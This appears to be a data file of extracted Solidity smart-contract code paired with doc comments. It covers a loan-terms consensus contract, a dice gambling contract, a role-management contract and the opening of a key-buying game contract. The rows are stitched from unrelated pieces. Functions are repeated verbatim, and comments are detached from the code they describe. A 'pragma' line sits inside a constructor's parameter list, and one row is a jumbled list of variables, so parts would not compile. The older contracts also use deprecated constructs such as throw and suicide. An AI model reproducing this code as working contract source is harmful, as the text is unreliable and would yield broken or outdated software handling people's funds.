returns (
uint256 interestRate,
uint256 collateralRatio,
uint256 maxLoanAmount
)
{
address borrower = request.borrower;
_validateLoanRequest(borrower, request.requestNonce);
require(
request.consensusAddress == address(this),
"BAD_CONSENSUS_ADDRESS"
);
bytes32 requestHash = _hashRequest(request);
uint256 responseExpiryLengthValue =
settings.getResponseExpiryLengthValue();
TellerCommon.AccruedLoanTerms memory termSubmissions;
for (uint256 i = 0; i < responses.length; i++) {
TellerCommon.LoanResponse memory response = responses[i];
require(_isSigner(response.signer), "NOT_SIGNER");
require(
response.consensusAddress == request.consensusAddress,
"CONSENSUS_ADDRESS_MISMATCH"
);
Check if we've encountered this signer for this request already.
Not the cleanest solution to a dictionary lookup problem, but
that doesn't exist in EVM memory and this is relatively cheap
for a rather large number of signers.
Rough gas cost: (n/2) * (1 + n) * MLOAD + n * MSTORE.
for (uint8 j = 0; j < i; j++) {
require(
response.signer != responses[j].signer,
"SIGNER_ALREADY_SUBMITTED"
);
}
require(
response.responseTime >= now.sub(responseExpiryLengthValue),
"RESPONSE_EXPIRED"
);
bytes32 responseHash = _hashResponse(response, requestHash);
require(
_signatureValid(
response.signature,
responseHash,
response.signer
),
"SIGNATURE_INVALID"
);
termSubmissions.interestRate.addValue(response.interestRate);
termSubmissions.collateralRatio.addValue(response.collateralRatio);
termSubmissions.maxLoanAmount.addValue(response.maxLoanAmount);
}
uint256 tolerance = settings.getMaximumToleranceValue();
interestRate = _getConsensus(termSubmissions.interestRate, tolerance);
collateralRatio = _getConsensus(
termSubmissions.collateralRatio,
tolerance
);
maxLoanAmount = _getConsensus(termSubmissions.maxLoanAmount, tolerance);
}
@param account address to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
function processLoanTerms(
TellerCommon.LoanRequest calldata request,
TellerCommon.LoanResponse[] calldata responses
)
external
view
onlyEnoughSubmissions(responses.length)
returns (
uint256 interestRate,
uint256 collateralRatio,
uint256 maxLoanAmount
)
{
address borrower = request.borrower;
_validateLoanRequest(borrower, request.requestNonce);
require(
request.consensusAddress == address(this),
"BAD_CONSENSUS_ADDRESS"
);
bytes32 requestHash = _hashRequest(request);
uint256 responseExpiryLengthValue =
settings.getResponseExpiryLengthValue();
TellerCommon.AccruedLoanTerms memory termSubmissions;
for (uint256 i = 0; i < responses.length; i++) {
TellerCommon.LoanResponse memory response = responses[i];
require(_isSigner(response.signer), "NOT_SIGNER");
require(
response.consensusAddress == request.consensusAddress,
"CONSENSUS_ADDRESS_MISMATCH"
);
Check if we've encountered this signer for this request already.
Not the cleanest solution to a dictionary lookup problem, but
that doesn't exist in EVM memory and this is relatively cheap
for a rather large number of signers.
Rough gas cost: (n/2) * (1 + n) * MLOAD + n * MSTORE.
for (uint8 j = 0; j < i; j++) {
require(
response.signer != responses[j].signer,
"SIGNER_ALREADY_SUBMITTED"
);
}
require(
response.responseTime >= now.sub(responseExpiryLengthValue),
"RESPONSE_EXPIRED"
);
bytes32 responseHash = _hashResponse(response, requestHash);
require(
_signatureValid(
response.signature,
responseHash,
response.signer
),
"SIGNATURE_INVALID"
);
termSubmissions.interestRate.addValue(response.interestRate);
termSubmissions.collateralRatio.addValue(response.collateralRatio);
termSubmissions.maxLoanAmount.addValue(response.maxLoanAmount);
}
uint256 tolerance = settings.getMaximumToleranceValue();
interestRate = _getConsensus(termSubmissions.interestRate, tolerance);
collateralRatio = _getConsensus(
termSubmissions.collateralRatio,
tolerance
);
maxLoanAmount = _getConsensus(termSubmissions.maxLoanAmount, tolerance);
}
@param account address to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
@notice It adds a new account as a signer.
function addSigner(address account) external {
_addSigner(account);
}
@param accounts addresses to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
@notice It adds a list of account as signers.
function addSigners(address[] calldata accounts) external {
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
_addSigner(account);
}
}
@param response Structs of the protocol loan responses
@param requestHash Hash of the loan request
@return bytes32 Hash of the loan response
function addSigners(address[] calldata accounts) external {
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
_addSigner(account);
}
}
@param response Structs of the protocol loan responses
@param requestHash Hash of the loan request
@return bytes32 Hash of the loan response
@notice Generates a hash for the loan response
function _hashResponse(
TellerCommon.LoanResponse memory response,
bytes32 requestHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encode(
response.consensusAddress,
response.responseTime,
response.interestRate,
response.collateralRatio,
response.maxLoanAmount,
_getChainId(),
requestHash
)
);
}
@param request Struct of the protocol loan request
@return bytes32 Hash of the loan request
@notice Generates a hash for the loan request
function _hashRequest(TellerCommon.LoanRequest memory request)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
request.borrower,
request.recipient,
request.consensusAddress,
request.requestNonce,
request.amount,
request.duration,
request.requestTime,
_getChainId()
)
);
}
@param signature signature to validate.
@param dataHash used to recover the signer.
@param expectedSigner the expected signer address.
@return true if the expected signer is equal to the signer. Otherwise it returns false.
@notice It validates whether a signature is valid or not.
function _signatureValid(
TellerCommon.Signature memory signature,
bytes32 dataHash,
address expectedSigner
) internal pure returns (bool) {
return
expectedSigner ==
ECDSA.recover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
dataHash
)
),
signature.v,
signature.r,
signature.s
);
}
Also verifies if the borrower has taken out a loan recently (rate limit).
@param borrower the borrower's address.
@param nonce the nonce included in the loan request.
Checks if the nonce provided in the request is equal to the borrower's number of loans.
function _validateLoanRequest(address borrower, uint256 nonce)
internal
view
{
uint256[] storage _borrowerLoans = borrowerLoans[borrower];
uint256 numberOfLoans = _borrowerLoans.length;
require(nonce == numberOfLoans, "BAD_NONCE");
if (numberOfLoans == 0) {
return;
}
require(
loans[_borrowerLoans[numberOfLoans - 1]].loanStartTime.add(
settings.getRequestLoanTermsRateLimitValue()
) <= now,
"REQS_LOAN_TERMS_LMT_EXCEEDS_MAX"
);
}
function _validateLoanRequest(address borrower, uint256 nonce)
internal
view
{
uint256[] storage _borrowerLoans = borrowerLoans[borrower];
uint256 numberOfLoans = _borrowerLoans.length;
require(nonce == numberOfLoans, "BAD_NONCE");
if (numberOfLoans == 0) {
return;
}
require(
loans[_borrowerLoans[numberOfLoans - 1]].loanStartTime.add(
settings.getRequestLoanTermsRateLimitValue()
) <= now,
"REQS_LOAN_TERMS_LMT_EXCEEDS_MAX"
);
}
function _isSigner(address account) internal view returns (bool isSigner_) {
(isSigner_, ) = signers.getIndex(account);
}
@notice The values must be in a maximum tolerance range.
@return the consensus value.
@notice Gets the consensus value for a list of values (uint values).
function _getConsensus(NumbersList.Values memory values, uint256 tolerance)
internal
pure
returns (uint256)
{
require(values.isWithinTolerance(tolerance), "RESPONSES_TOO_VARIED");
return values.getAverage();
}
@return the current chain id.
@notice Gets the current chain id using the opcode 'chainid()'.
function _getChainId() internal pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function _getChainId() internal pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function _addSigner(address account) internal {
if (!_isSigner(account)) {
signers.add(account);
}
}
function _addSigner(address account) internal {
if (!_isSigner(account)) {
signers.add(account);
}
}
}
| 5,398,130
|
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./partial_match/1/0x8281f2bECfF37326Eb6cBE33527434611558B031/sources/Riskpool2.sol
|
change: no longer view to allow for log entries in derived contracts
|
function bundleMatchesApplication(
IBundle.Bundle memory bundle,
IPolicy.Application memory application
) public override virtual view returns(bool isMatching);
function _afterArchive() internal view override {
uint256 riskpoolId = getId();
require(
_instanceService.unburntBundles(riskpoolId) == 0,
"ERROR:RPL-010:RISKPOOL_HAS_UNBURNT_BUNDLES"
);
}
| 4,154,062
|
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pragma solidity ^0.4.18;
contract DSSafeAddSub {
function safeToAdd(uint a, uint b) internal returns (bool) {
return (a + b >= a);
}
function safeAdd(uint a, uint b) internal returns (uint) {
if (!safeToAdd(a, b)) throw;
return a + b;
}
function safeToSubtract(uint a, uint b) internal returns (bool) {
return (b <= a);
}
function safeSub(uint a, uint b) internal returns (uint) {
if (!safeToSubtract(a, b)) throw;
return a - b;
}
}
contract LuckyDice is DSSafeAddSub {
/*
* bet size >= minBet, minNumber < minRollLimit < maxRollLimit - 1 < maxNumber
*/
modifier betIsValid(uint _betSize, uint minRollLimit, uint maxRollLimit) {
if (_betSize < minBet || maxRollLimit < minNumber || minRollLimit > maxNumber || maxRollLimit - 1 <= minRollLimit) throw;
_;
}
/*
* checks game is currently active
*/
modifier gameIsActive {
if (gamePaused == true) throw;
_;
}
/*
* checks payouts are currently active
*/
modifier payoutsAreActive {
if (payoutsPaused == true) throw;
_;
}
/*
* checks only owner address is calling
*/
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
/*
* checks only treasury address is calling
*/
modifier onlyCasino {
if (msg.sender != casino) throw;
_;
}
/*
* probabilities
*/
uint[] rollSumProbability = [0, 0, 0, 0, 0, 128600, 643004, 1929012, 4501028, 9002057, 16203703, 26363168, 39223251, 54012345, 69444444, 83719135, 94521604, 100308641, 100308641, 94521604, 83719135, 69444444, 54012345, 39223251, 26363168, 16203703, 9002057, 4501028, 1929012, 643004, 128600];
uint probabilityDivisor = 10000000;
/*
* game vars
*/
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 30;
uint constant public minNumber = 5;
bool public gamePaused;
address public owner;
bool public payoutsPaused;
address public casino;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet;
int public totalBets;
uint public maxPendingPayouts;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
// JP
uint public jackpot = 0;
uint public jpPercentage = 40; // = 4%
uint public jpPercentageDivisor = 1000;
uint public jpMinBet = 10000000000000000; // = 0.01 Eth
// TEMP
uint tempDiceSum;
bool tempJp;
uint tempDiceValue;
bytes tempRollResult;
uint tempFullprofit;
/*
* player vars
*/
mapping(bytes32 => address) public playerAddress;
mapping(bytes32 => address) playerTempAddress;
mapping(bytes32 => bytes32) playerBetDiceRollHash;
mapping(bytes32 => uint) playerBetValue;
mapping(bytes32 => uint) playerTempBetValue;
mapping(bytes32 => uint) playerRollResult;
mapping(bytes32 => uint) playerMaxRollLimit;
mapping(bytes32 => uint) playerMinRollLimit;
mapping(address => uint) playerPendingWithdrawals;
mapping(bytes32 => uint) playerProfit;
mapping(bytes32 => uint) playerToJackpot;
mapping(bytes32 => uint) playerTempReward;
/*
* events
*/
/* log bets + output to web3 for precise 'payout on win' field in UI */
event LogBet(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint ProfitValue, uint ToJpValue,
uint BetValue, uint minRollLimit, uint maxRollLimit);
/* output to web3 UI on bet result*/
/* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/
event LogResult(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint minRollLimit, uint maxRollLimit,
uint DiceResult, uint Value, string Salt, int Status);
/* log manual refunds */
event LogRefund(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint indexed RefundValue);
/* log owner transfers */
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// jp logging
// Status: 0=win JP, 1=failed send
event LogJpPayment(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint DiceResult, uint JackpotValue,
int Status);
/*
* init
*/
function LuckyDice() {
owner = msg.sender;
casino = msg.sender;
/* init 960 = 96% (4% houseEdge)*/
ownerSetHouseEdge(960);
/* 10,000 = 1%; 55,556 = 5.5556% */
ownerSetMaxProfitAsPercentOfHouse(55556);
/* init min bet (0.1 ether) */
ownerSetMinBet(100000000000000000);
}
/*
* public function
* player submit bet
* only if game is active & bet is valid
*/
function playerMakeBet(uint minRollLimit, uint maxRollLimit, bytes32 diceRollHash, uint8 v, bytes32 r, bytes32 s) public
payable
gameIsActive
betIsValid(msg.value, minRollLimit, maxRollLimit)
{
/* checks if bet was already made */
if (playerAddress[diceRollHash] != 0x0) throw;
/* checks hash sign */
if (casino != ecrecover(diceRollHash, v, r, s)) throw;
tempFullprofit = getFullProfit(msg.value, minRollLimit, maxRollLimit);
playerProfit[diceRollHash] = getProfit(msg.value, tempFullprofit);
playerToJackpot[diceRollHash] = getToJackpot(msg.value, tempFullprofit);
if (playerProfit[diceRollHash] - playerToJackpot[diceRollHash] > maxProfit)
throw;
/* map bet id to serverSeedHash */
playerBetDiceRollHash[diceRollHash] = diceRollHash;
/* map player limit to serverSeedHash */
playerMinRollLimit[diceRollHash] = minRollLimit;
playerMaxRollLimit[diceRollHash] = maxRollLimit;
/* map value of wager to serverSeedHash */
playerBetValue[diceRollHash] = msg.value;
/* map player address to serverSeedHash */
playerAddress[diceRollHash] = msg.sender;
/* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */
maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[diceRollHash]);
/* check contract can payout on win */
if (maxPendingPayouts >= contractBalance)
throw;
/* provides accurate numbers for web3 and allows for manual refunds in case of any error */
LogBet(diceRollHash, playerAddress[diceRollHash], playerProfit[diceRollHash], playerToJackpot[diceRollHash],
playerBetValue[diceRollHash], playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash]);
}
function getFullProfit(uint _betSize, uint minRollLimit, uint maxRollLimit) internal returns (uint){
uint probabilitySum = 0;
for (uint i = minRollLimit + 1; i < maxRollLimit; i++)
{
probabilitySum += rollSumProbability[i];
}
return _betSize * safeSub(probabilityDivisor * 100, probabilitySum) / probabilitySum;
}
function getProfit(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * houseEdge / houseEdgeDivisor - _betSize;
}
function getToJackpot(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * jpPercentage / jpPercentageDivisor;
}
function withdraw(bytes32 diceRollHash, string rollResult, string salt) public
payoutsAreActive
{
/* player address mapped to query id does not exist */
if (playerAddress[diceRollHash] == 0x0) throw;
/* checks hash */
bytes32 hash = sha256(rollResult, salt);
if (diceRollHash != hash) throw;
/* get the playerAddress for this query id */
playerTempAddress[diceRollHash] = playerAddress[diceRollHash];
/* delete playerAddress for this query id */
delete playerAddress[diceRollHash];
/* map the playerProfit for this query id */
playerTempReward[diceRollHash] = playerProfit[diceRollHash];
/* set playerProfit for this query id to 0 */
playerProfit[diceRollHash] = 0;
/* safely reduce maxPendingPayouts liability */
maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[diceRollHash]);
/* map the playerBetValue for this query id */
playerTempBetValue[diceRollHash] = playerBetValue[diceRollHash];
/* set playerBetValue for this query id to 0 */
playerBetValue[diceRollHash] = 0;
/* total number of bets */
totalBets += 1;
/* total wagered */
totalWeiWagered += playerTempBetValue[diceRollHash];
tempDiceSum = 0;
tempJp = true;
tempRollResult = bytes(rollResult);
for (uint i = 0; i < 5; i++) {
tempDiceValue = uint(tempRollResult[i]) - 48;
tempDiceSum += tempDiceValue;
playerRollResult[diceRollHash] = playerRollResult[diceRollHash] * 10 + tempDiceValue;
if (tempRollResult[i] != tempRollResult[1]) {
tempJp = false;
}
}
/*
* CONGRATULATIONS!!! SOMEBODY WON JP!
*/
if (playerTempBetValue[diceRollHash] >= jpMinBet && tempJp) {
LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpot, 0);
uint jackpotTmp = jackpot;
jackpot = 0;
if (!playerTempAddress[diceRollHash].send(jackpotTmp)) {
LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpotTmp, 1);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], jackpotTmp);
}
}
/*
* pay winner
* update contract balance to calculate new max bet
* send reward
* if send of reward fails save value to playerPendingWithdrawals
*/
if (playerMinRollLimit[diceRollHash] < tempDiceSum && tempDiceSum < playerMaxRollLimit[diceRollHash]) {
/* safely reduce contract balance by player profit */
contractBalance = safeSub(contractBalance, playerTempReward[diceRollHash]);
/* update total wei won */
totalWeiWon = safeAdd(totalWeiWon, playerTempReward[diceRollHash]);
// adding JP percentage
playerTempReward[diceRollHash] = safeSub(playerTempReward[diceRollHash], playerToJackpot[diceRollHash]);
jackpot = safeAdd(jackpot, playerToJackpot[diceRollHash]);
/* safely calculate payout via profit plus original wager */
playerTempReward[diceRollHash] = safeAdd(playerTempReward[diceRollHash], playerTempBetValue[diceRollHash]);
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 1);
/* update maximum profit */
setMaxProfit();
/*
* send win - external call to an untrusted contract
* if send fails map reward value to playerPendingWithdrawals[address]
* for withdrawal later via playerWithdrawPendingTransactions
*/
if (!playerTempAddress[diceRollHash].send(playerTempReward[diceRollHash])) {
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 2);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], playerTempReward[diceRollHash]);
}
return;
} else {
/*
* no win
* update contract balance to calculate new max bet
*/
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempBetValue[diceRollHash], salt, 0);
/*
* safe adjust contractBalance
* setMaxProfit
*/
contractBalance = safeAdd(contractBalance, (playerTempBetValue[diceRollHash]));
/* update maximum profit */
setMaxProfit();
return;
}
}
/*
* public function
* in case of a failed refund or win send
*/
function playerWithdrawPendingTransactions() public
payoutsAreActive
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
/* external call to untrusted contract */
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
/* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */
/* player can try to withdraw again later */
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
/* check for pending withdrawals */
function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) {
return playerPendingWithdrawals[addressToCheck];
}
/*
* internal function
* sets max profit
*/
function setMaxProfit() internal {
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
/*
* owner address only functions
*/
function()
payable
onlyOwner
{
/* safely update contract balance */
contractBalance = safeAdd(contractBalance, msg.value);
/* update the maximum profit */
setMaxProfit();
}
/* only owner adjust contract balance variable (only used for max profit calc) */
function ownerUpdateContractBalance(uint newContractBalanceInWei) public
onlyOwner
{
contractBalance = newContractBalanceInWei;
}
/* only owner address can set houseEdge */
function ownerSetHouseEdge(uint newHouseEdge) public
onlyOwner
{
houseEdge = newHouseEdge;
}
/* only owner address can set maxProfitAsPercentOfHouse */
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
/* only owner address can set minBet */
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
/* only owner address can set jpMinBet */
function ownerSetJpMinBet(uint newJpMinBet) public
onlyOwner
{
jpMinBet = newJpMinBet;
}
/* only owner address can transfer ether */
function ownerTransferEther(address sendTo, uint amount) public
onlyOwner
{
/* safely update contract balance when sending out funds*/
contractBalance = safeSub(contractBalance, amount);
/* update max profit */
setMaxProfit();
if (!sendTo.send(amount)) throw;
LogOwnerTransfer(sendTo, amount);
}
/* only owner address can do manual refund
* used only if bet placed + server error had a place
* filter LogBet by address and/or diceRollHash
* check the following logs do not exist for diceRollHash and/or playerAddress[diceRollHash] before refunding:
* LogResult or LogRefund
* if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions
*/
function ownerRefundPlayer(bytes32 diceRollHash, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public
onlyOwner
{
/* safely reduce pendingPayouts by playerProfit[rngId] */
maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit);
/* send refund */
if (!sendTo.send(originalPlayerBetValue)) throw;
/* log refunds */
LogRefund(diceRollHash, sendTo, originalPlayerBetValue);
}
/* only owner address can set emergency pause #1 */
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
/* only owner address can set emergency pause #2 */
function ownerPausePayouts(bool newPayoutStatus) public
onlyOwner
{
payoutsPaused = newPayoutStatus;
}
/* only owner address can set casino address */
function ownerSetCasino(address newCasino) public
onlyOwner
{
casino = newCasino;
}
/* only owner address can set owner address */
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
/* only owner address can suicide - emergency */
function ownerkill() public
onlyOwner
{
suicide(owner);
}
}
|
checks only treasury address is calling/
|
modifier onlyCasino {
if (msg.sender != casino) throw;
_;
}
uint probabilityDivisor = 10000000;
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 30;
uint constant public minNumber = 5;
bool public gamePaused;
address public owner;
bool public payoutsPaused;
address public casino;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet;
int public totalBets;
uint public maxPendingPayouts;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
uint public jpPercentageDivisor = 1000;
bool tempJp;
uint tempDiceValue;
bytes tempRollResult;
uint tempFullprofit;
mapping(bytes32 => address) playerTempAddress;
mapping(bytes32 => bytes32) playerBetDiceRollHash;
mapping(bytes32 => uint) playerBetValue;
mapping(bytes32 => uint) playerTempBetValue;
mapping(bytes32 => uint) playerRollResult;
mapping(bytes32 => uint) playerMaxRollLimit;
mapping(bytes32 => uint) playerMinRollLimit;
mapping(address => uint) playerPendingWithdrawals;
mapping(bytes32 => uint) playerProfit;
mapping(bytes32 => uint) playerToJackpot;
mapping(bytes32 => uint) playerTempReward;
uint BetValue, uint minRollLimit, uint maxRollLimit);
uint DiceResult, uint Value, string Salt, int Status);
int Status);
| 10,757,289
|
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./full_match/80001/0xB5E7bb79bCFd916b319b3320C63B98e617BFd023/sources/project_/contracts/Roles.sol
|
@title Roles @author Stobox Technologies Inc. @notice A contract for assigning and managing roles when interacting with a security tokenlist of addresses which will be assigned important roles (see contract {Roles}): * address[0] - superAdmin * address[1] - financialManager * address[2] - complianceOfficer * address[3] - masterManager
|
abstract contract Roles is AccessControlEnumerable {
bytes32 public constant FINANCIAL_MANAGER_ROLE =
keccak256("FINANCIAL_MANAGER_ROLE");
bytes32 public constant COMPLIANCE_MANAGER_ROLE =
keccak256("COMPLIANCE_MANAGER_ROLE");
bytes32 public constant RECOVERY_MANAGER_ROLE =
keccak256("RECOVERY_MANAGER_ROLE");
constructor(
address[4] memory _managers
pragma solidity ^0.8.0;
) {
_grantRole(DEFAULT_ADMIN_ROLE, _managers[0]);
_grantRole(FINANCIAL_MANAGER_ROLE, _managers[1]);
_grantRole(COMPLIANCE_MANAGER_ROLE, _managers[2]);
_grantRole(RECOVERY_MANAGER_ROLE, _managers[3]);
}
function getListOfRoleOwners(bytes32 _role)
public
view
returns (address[] memory)
{
uint256 len = getRoleMemberCount(_role);
address[] memory resultedList = new address[](len);
for (uint256 i = 0; i < len; i++) {
resultedList[i] = getRoleMember(_role, i);
}
return resultedList;
}
function getListOfRoleOwners(bytes32 _role)
public
view
returns (address[] memory)
{
uint256 len = getRoleMemberCount(_role);
address[] memory resultedList = new address[](len);
for (uint256 i = 0; i < len; i++) {
resultedList[i] = getRoleMember(_role, i);
}
return resultedList;
}
function _grantRole(bytes32 role, address account) internal override {
_validateToInteractSingle(account);
super._grantRole(role, account);
}
function _checkRole(bytes32 role) internal view override {
_validateToInteractSingle(_msgSender());
super._checkRole(role, _msgSender());
}
}
| 842,557
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] |
pragma solidity ^0.4.24;
/*
* __/\\\\\\\\\\\__/\\\\____________/\\\\__/\\\________/\\\_____/\\\\\\\\\\\\_
* _\/////\\\///__\/\\\\\\________/\\\\\\_\/\\\_____/\\\//____/\\\//////////__
* _____\/\\\_____\/\\\//\\\____/\\\//\\\_\/\\\__/\\\//______/\\\_____________
* _____\/\\\_____\/\\\\///\\\/\\\/_\/\\\_\/\\\\\\//\\\_____\/\\\____/\\\\\\\_
* _____\/\\\_____\/\\\__\///\\\/___\/\\\_\/\\\//_\//\\\____\/\\\___\/////\\\_
* _____\/\\\_____\/\\\____\///_____\/\\\_\/\\\____\//\\\___\/\\\_______\/\\\_
* _____\/\\\_____\/\\\_____________\/\\\_\/\\\_____\//\\\__\/\\\_______\/\\\_
* __/\\\\\\\\\\\_\/\\\_____________\/\\\_\/\\\______\//\\\_\//\\\\\\\\\\\\/__
* _\///////////__\///______________\///__\///________\///___\////////////____
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library ImkgKeysCalc {
using SafeMath for *;
// calculate X eth can buy how many keys above current eth.
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
// calculate X keys can value how much eth above current keys.
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
// calculate X eth corresponding how many keys in curre pots.
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000000);
}
// calculate X keys corresponding how much eth in curre pots.
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000000000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract Imkg {
using SafeMath for *;
using NameFilter for string;
using ImkgKeysCalc for uint256;
//**************
// EVENTS
//**************
// fired player registers a new name
event onNewNameEvent
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 amountPaid,
uint256 timeStamp
);
// fired leader sets a new team name
event onNewTeamNameEvent
(
uint256 indexed teamID,
bytes32 indexed teamName,
uint256 indexed playerID,
bytes32 playerName,
uint256 amountPaid,
uint256 timeStamp
);
// fired when buy the bomb
event onTxEvent
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 teamID,
bytes32 teamName,
uint256 ethIn,
